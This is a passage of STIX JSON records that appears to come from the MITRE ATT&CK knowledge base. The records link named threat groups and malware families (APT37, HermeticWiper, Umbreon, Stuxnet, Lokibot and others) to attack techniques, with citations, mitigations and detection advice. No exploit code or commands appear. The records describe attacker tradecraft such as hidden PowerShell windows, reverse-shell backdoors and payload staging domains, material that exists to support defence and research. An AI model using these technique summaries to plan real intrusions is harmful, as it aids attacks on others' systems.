2018.","source_name":"Talos Group123"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.174Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used exploits for Flash Player (CVE-2016-4117, CVE-2018-4878), Word (CVE-2017-0199), Internet Explorer (CVE-2020-1380 and CVE-2020-26411), and Microsoft Edge (CVE-2021-26411) for execution.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8580c1e0-84fd-4da9-a9e8-1ae17f1b67d2","type":"relationship","created":"2022-03-25T19:49:54.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"modified":"2022-03-25T19:49:54.794Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can decompress and copy driver files using `LZCopy`.(Citation: Crowdstrike DriveSlayer February 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8589a293-b318-4028-865c-7c5e5554aa60","created":"2024-06-18T19:44:16.454Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:44:16.454Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has sent emails with malicious .pdf files to spread malware.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--858db34b-48b3-4ab2-ac9c-ee09475d29c5","created":"2022-04-18T21:17:42.723Z","x_mitre_version":"0.1","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can remove files from the compromised host.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T21:17:42.723Z","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--858fea59-2a4e-4951-9c42-3e011db2e615","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Monitor newly executed processes that may modify XDG autostart entries to execute programs or commands during system boot.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85932e53-5211-4998-a497-955254c1281c","created":"2024-01-03T21:36:17.939Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T21:36:17.939Z","description":"(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--85965bfa-658a-47e5-b15d-c0ef67341bda","created":"2022-04-15T20:03:34.052Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) can use various API calls.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T20:03:34.052Z","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85a1a7f3-bdcc-4473-ba3c-46d6946d6996","type":"relationship","created":"2019-10-11T03:22:46.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","source_name":"Unit 42 Gorgon Group Aug 2018"}],"modified":"2021-02-09T13:53:25.278Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) has used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-20T22:59:10.164Z","description":"A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with 3DES.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85aecc08-dda1-4203-9dec-376f1d9d3cad","created":"2020-06-08T19:55:47.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:51:14.065Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has obfuscated the wallet address in the payload binary.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85af8200-2e4c-4253-a334-0390ac4065f8","type":"relationship","created":"2020-07-01T18:32:47.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-07-01T18:32:47.416Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85b0be36-c9fb-4359-b9b6-4e13300e374b","type":"relationship","created":"2019-04-17T19:18:00.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:06.961Z","description":"[Remexi](https://attack.mitre.org/software/S0375) decrypts the configuration data using XOR with 25-character keys.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85b17ee3-cd16-4f7d-bfaa-23e756f344d5","type":"relationship","created":"2021-01-05T15:14:03.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:14:03.224Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) has the ability to gather the hostname of the victim machine.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85b3d881-a9d2-45ff-a980-95d0bd9a3dd1","type":"relationship","created":"2020-02-21T17:31:33.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:00:52.886Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85b4d635-f5f4-4f4f-abc2-31203cad496d","created":"2022-09-16T15:53:31.177Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:53:31.177Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors sent phishing emails that included a PDF document that in some cases led to the download and execution of malware.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85b5e45d-247e-4c8b-a991-95700e4d81d9","created":"2020-12-29T16:20:58.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:05:51.408Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) has the ability to generate new C2 domains.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85b5efa3-9bd0-4685-a211-78f17a3747c7","type":"relationship","created":"2021-08-31T22:15:50.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.475Z","description":"[Lokibot](https://attack.mitre.org/software/S0447)'s second stage DLL has set a timer using “timeSetEvent” to schedule its next execution.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85bb9b96-ec91-48eb-b4e9-9f11e82d2e5d","created":"2024-09-25T13:45:45.510Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:45:45.510Z","description":"Monitor for common proxyware files on local systems that may indicate compromise and resource usage. ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85bc0dfe-a680-4bf5-92e1-9c98978b513b","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85be49ac-785e-48af-8d0e-4b74818428fc","created":"2019-05-24T17:57:36.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.213Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used [Winexe](https://attack.mitre.org/software/S0191) to install a service on the remote system.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--85c85045-a030-435c-a353-6d89a1feacc0","created":"2022-07-15T21:24:56.155Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has registered domains to stage payloads.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-07-15T21:24:56.155Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85c9285a-6738-42dd-aa12-fbded3e7bbdb","type":"relationship","created":"2019-06-24T19:53:23.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices","description":"US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.","source_name":"US-CERT SMB Security"},{"url":"https://www.us-cert.gov/ncas/alerts/TA17-293A","description":"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.","source_name":"US-CERT APT Energy Oct 2017"}],"modified":"2020-06-20T20:46:36.547Z","description":"\nBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with allowlisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.793Z","description":"[Gazer](https://attack.mitre.org/software/S0168) has commands to delete files and persistence mechanisms from the victim.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--85c97a8c-75ff-4469-bcc4-28c64a928390","created":"2024-09-23T23:06:55.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T22:15:11.024Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected information about the target system, such as system information and list of network connections.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-16T15:50:20.119Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85cff8f7-2c44-4886-8b8c-efaac50d4596","type":"relationship","created":"2020-08-17T14:08:26.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.049Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use Data Protection API to encrypt its components on the victim’s computer, to evade detection, and to make sure the payload can only be decrypted and loaded on one specific compromised computer.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85d3fc32-6cee-418f-bef0-188c61c9fa6d","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--85d9203a-6600-4374-a70b-9864a12d7927","created":"2022-07-08T14:20:04.212Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can use `getmac` and `Get-NetIPAddress` to enumerate network settings.(Citation: Microsoft POLONIUM June 